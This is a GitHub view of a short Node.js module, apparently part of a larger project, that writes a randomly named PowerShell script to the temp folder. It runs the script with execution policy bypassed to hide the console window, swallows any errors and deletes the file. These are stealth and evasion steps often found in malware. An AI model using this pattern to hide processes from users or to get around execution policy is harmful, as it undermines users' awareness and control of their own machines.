-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathhideconsole.js
31 lines (25 loc) · 1001 Bytes
/
hideconsole.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const child_process = require('child_process');
const os = require('os');
const fs = require('fs');
const path = require('path');
const program = require('./../../utils/program/program.js');
module.exports = async () => {
const powershellScript = `
Add-Type -Name Window -Namespace Console -MemberDefinition '
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
'
$consoleHandle = [Console.Window]::GetConsoleWindow()
[Console.Window]::ShowWindow($consoleHandle, 0)
`;
const tempFile = path.join(os.tmpdir(), `${program.RandString(10)}.ps1`);
fs.writeFileSync(tempFile, powershellScript);
try {
child_process.execSync(`powershell.exe -ExecutionPolicy Bypass -File "${tempFile}"`, { stdio: 'inherit' });
} catch (error) {
} finally {
fs.unlinkSync(tempFile);
}
};